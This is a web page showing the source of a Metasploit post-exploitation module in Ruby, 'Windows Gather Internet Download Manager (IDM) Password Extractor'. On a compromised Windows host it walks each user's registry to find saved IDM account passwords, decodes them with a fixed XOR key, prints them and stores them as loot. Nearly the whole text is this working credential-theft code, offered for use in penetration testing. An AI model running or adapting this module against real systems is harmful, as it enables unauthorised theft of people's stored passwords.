Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/idm.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',14'Description' => %q{15This module recovers the saved premium download account passwords from16Internet Download Manager (IDM). These passwords are stored in an encoded17format in the registry. This module traverses through these registry entries18and decodes them. Thanks to the template code of theLightCosine's CoreFTP19password module.20},21'License' => MSF_LICENSE,22'Author' => [23'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',24'Unknown', # SecurityXploded Team, www.SecurityXploded.com25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ]28)29)30end3132def run33creds = Rex::Text::Table.new(34'Header' => 'Internet Downloader Manager Credentials',35'Indent' => 1,36'Columns' =>37[38'User',39'Password',40'Site'41]42)4344registry_enumkeys('HKU').each do |k|45next unless k.include? 'S-1-5-21'46next if k.include? '_Classes'4748print_status("Looking at Key #{k}")4950begin51subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\")52if subkeys.nil? || subkeys.empty?53print_status('IDM not installed for this user.')54return55end5657subkeys.each do |site|58user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'User')59epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'EncPassword')60next if epass.nil? || (epass == '')6162pass = xor(epass)63print_good("Site: #{site} (User=#{user}, Password=#{pass})")64creds << [user, pass, site]65end6667print_status('Storing data...')68path = store_loot(69'idm.user.creds',70'text/csv',71session,72creds.to_csv,73'idm_user_creds.csv',74'Internet Download Manager User Credentials'75)76print_good("IDM user credentials saved in: #{path}")77rescue ::Exception => e78print_error("An error has occurred: #{e}")79end80end81end8283def xor(ciphertext)84pass = ciphertext.unpack('C*')85key = 1586for i in 0..pass.length - 1 do87pass[i] ^= key88end89return pass.pack('C*')90end91end929394